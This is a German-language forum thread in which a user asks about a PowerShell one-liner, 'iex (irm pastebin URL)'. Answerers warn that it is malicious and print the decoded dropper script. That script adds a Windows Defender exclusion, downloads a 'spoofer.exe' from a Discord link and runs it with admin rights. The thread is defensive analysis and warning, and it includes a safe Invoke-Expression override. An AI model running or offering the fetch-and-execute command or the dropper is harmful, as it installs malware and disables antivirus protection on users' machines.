Was ist das iex (irm 'https://pastebin.pl/view/raw/940cb634')?

2 Antworten

Finger weg!

irm ist der Alias für Invoke-RestMethod. In diesem Fall lädt dieses Cmdlet ein Powershellscipt von Pastebin. und führt es aus.

Das dortige Script ist enthält mehrfach verschlüsselten und komprimierten Code.

nach dessen Auflösung bleibt folgendes (Schad?)Script:

$url = "https://cdn.discordapp.com/attachments/...aus   Sicherheitsgründen entfernt..."

$desktopPath = [System.Environment]::GetFolderPath('Desktop')
$outputPath = [System.IO.Path]::Combine($desktopPath, "spoofer.exe")

if ($desktopPath -ne $null -and $desktopPath -ne '') {
  Add-MpPreference -ExclusionPath $desktopPath
  Write-Host "Computer Supported."
} else {
  Write-Host "Error: Computer not supported"
}

try {
  Invoke-RestMethod -Uri $url -OutFile $outputPath
  Write-Host "Initialized Spoofer!"
}
catch {
  Write-Host "Error Replacing Windows Corrupted Files $_"
}

Start-Process -FilePath $outputPath -Verb RunAs

Write-Host "Spoofed!"

Dies lädt eine exe-Datei (VantaSpoofer.exe) auf den Desktop, versucht eine Defender- Ausnahme für den Desktopordner und dessen Dateien einzurichten und die heruntergeladene Exe mit Adminrechten auszuführen.

Ich habe keine Ahnung was VantaSpoofer.exe tut, soweit habe ich die Sache nicht kommen lassen. Ohne abgeschalteten Defender sperrt dieser den Download sofort. ---ergo ist das Teil gefährlich

Immer wenn IEX bzw. Invoke-Exprssion im spiel ist sollte man genau wissen, was der der übergebene String bewirkt. iex führt einen String als Code aus!

So nützlich iex für einen redlichen Programmierer auch gelegentlich sein mag, in böswilligen Händen kann man damit sogar das Kochbuch von Tante Erna in eine Atombombe verwandeln 😅

Woher ich das weiß:eigene Erfahrung – Ich mach das seit 30 Jahren

pcnoob15212 
Fragesteller
 10.12.2023, 16:19

Danke

0

Die lange Zeichenkette in der Mitte vom Code ist verschlüsselt. Der Code entschlüsselt diese Zeichenkette (sie beinhaltet weiteren Code), und führt diesen Code aus. Wahrscheinlich installiert oder löscht es etwas von deinem Rechner.

Führe nie Code in der Powershell aus, den dir jemand über's Internet geschickt hat. WENN die Person gute Intentionen hätte, würde sie keinen verschlüsselten Code schicken.

Diese Verschlüsselung wird eingesetzt, damit Antivirus-Programme den schädlichen Skript nicht finden, und beim Ausführen ist es schon zu spät.


Erzesel  07.12.2023, 15:53

Ich sags mal so, da hat sich jemand extrem viel mühe gegeben um einen anundfürsich relativ belanglosen Code zu tarnen. Allerdings ist die Mehrfache Verschüsselung Schwachsinn, da der Code sich ohnehin selbst entschlüsselt.

Man muss lediglich das Cmdlet IEX durch eine entschärfte Version überschreiben... und vor Ausführung den String anzeigen

function Invoke-Expression {
    [cmdletbinding()]
    param(
        [Parameter(Mandatory,ValueFromPipeline)]
        $string)
        Write-Host $string  -fo green
        Write-Host Press Enter to Execute Code,  or Press CTRL-C  -fo  red
        Read-Host
        Microsoft.PowerShell.Utility\Invoke-Expression $string
} 

damit ist die Gefahr vom Tisch

1